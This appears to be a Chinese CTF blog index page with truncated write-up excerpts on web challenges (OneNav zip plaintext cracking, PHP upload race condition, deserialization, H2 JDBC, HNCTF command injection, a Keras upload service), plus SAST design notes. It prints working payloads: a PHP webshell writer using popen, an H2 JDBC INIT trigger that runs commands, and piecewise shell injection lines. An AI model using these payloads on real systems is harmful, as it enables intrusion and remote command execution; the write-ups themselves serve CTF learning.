开源组件的危害
压缩包说压缩备份的密码很强所以猜猜其为明文爆破而题目说这个是开源组件那么就再GitHub上找
最终找到这个为onenav的beta 0.9.12然后将favicon.ico和.htaccess index.php进行压缩然后明文爆破
直接停止就会自动下载无需密码的压缩包
解压后看config.php。
然后rot13一下
黑盾
上传php的时候发现其回显为删除那么就有可能是上传后检查再删除,,即可以尝试条件竞争观察成功上传的jpg文件可以发现其重命名的文件名是date的md5值,而date是服务器的时间。再请求的Date响应头转换一下即可
而上传的文件内容也有过滤但是是关键词过滤<?php使用<?=然后后门出现php就直接拼接即可那么上传写入文件的payload如下1<?= file_put_contents('LSE.ph'.'p','<?= var_dump(fread(popen($_POST[1], "r"), 1000)); ?>'); ?>
然后再phpinfo.php可以发现其禁用了很多函数,但是没有禁用popen所以可以使用popen绕过
然后就是条件竞争了bp不断发文件上传的包,然后有py写脚本访问文件脚本如下123456789101112131415161718192021222324252627282930313233343536373839404142434445 ...
SAST
流程先写一个简单的寻找危险函数的AST然后打补丁,提取出这个危险函数的参数,通过正则来判断这个参数的师傅是拼接或者直接通过AST来判断,对可以直接通过AST判断,当参数全为常数时没有当参数中出现了变量时其存在。
然后再打补丁来判断这个参数是否可控,目前没有看到怎么通过AST来向上寻找参数,个人目前的想法是通过,将所有可控参数都进行记录,当发现了$_GET,$_POST这种时将其记录为一条赋值链,结构是双头链表或者其他可以向上查询的,这样子当再危险函数中发现了参数时只要查找是否再链中就可以确定其是否存在sql注入。
AST123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115 ...
lit
<?phpclass User{ public $username=0; public $value; public function exec() { $ser = unserialize(serialize(unserialize($this->value))); if ($ser != $this->value && $ser instanceof Access) { include($ser->getToken()); } } public function __destruct() { if ($this->username == “admin”) { $this->exec(); } }}
class Access{
protected $prefix="/";
protected $suffix="/../flag" ...
备忘录
找一个bp的fuzz插件,可以自己写正则然后替换啥的,目前的思路是将包里所有参数里的链接都替换成我的网站,这样在,一般会有url跳转,ssrf,或者帮助csrd(会带有同意上级域名的cookie)的请求
DASCTF2025
泽西岛前面都出来了就差一点点其实思路还是很简单的,就是一些细节出了问题首先其jdbcurl我们是可控的。那么我们就可以命令执行了(后面拼接的参数我们可以使用xxx=\)来使其无效网上的绝大多少payload都如下123jdbc:h2:mem:test;MODE=MSSQLServer;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript java.lang.Runtime.getRuntime().exec("calc.exe")$$;XXX=\
但是这个会有个问题就是无法在jdk17下使用经尝试只能在jdk8下运行。在jdk17下没有一点反应甚至没有抛异常
那么现在我们就需要了解一下INIT参数是干什么的了这个参数其实就是链接时自动运行的sql语句,而h2数据库时可以直接使用sql语句来命令执行的。那么我们就可以直接使用如下的payloa ...
hnctf
Really_Ez_Rceecho -n bas >>/tmp/bascmd=echo -n e64 >>/tmp/bascmd=echo ZmxhZy50eHQ=|dd if=/tmp/bas>cmd=echo bHM=|dd if=/tmp/bas -d >aacmd=echo dGFjIC9mKg==|dd if=/tmp/bas -d >aa
123{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{"\u0061\u0070\u0070":{"\u005f\u0073\u0074\u0061\u0074\u0069\u0063\u005f\u0066\u006f\u006c\u0064\u0065\u0072":"\u002f"}}}
12345678910{ ...
D3CTF
d3model1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950import kerasfrom flask import Flask, request, jsonifyimport osdef is_valid_model(modelname): try: keras.models.load_model(modelname) except: return False return Trueapp = Flask(__name__)@app.route('/', methods=['GET'])def index(): return open('index.html').read()@app.route('/upload', methods=['POST'])def upload_file(): if ...













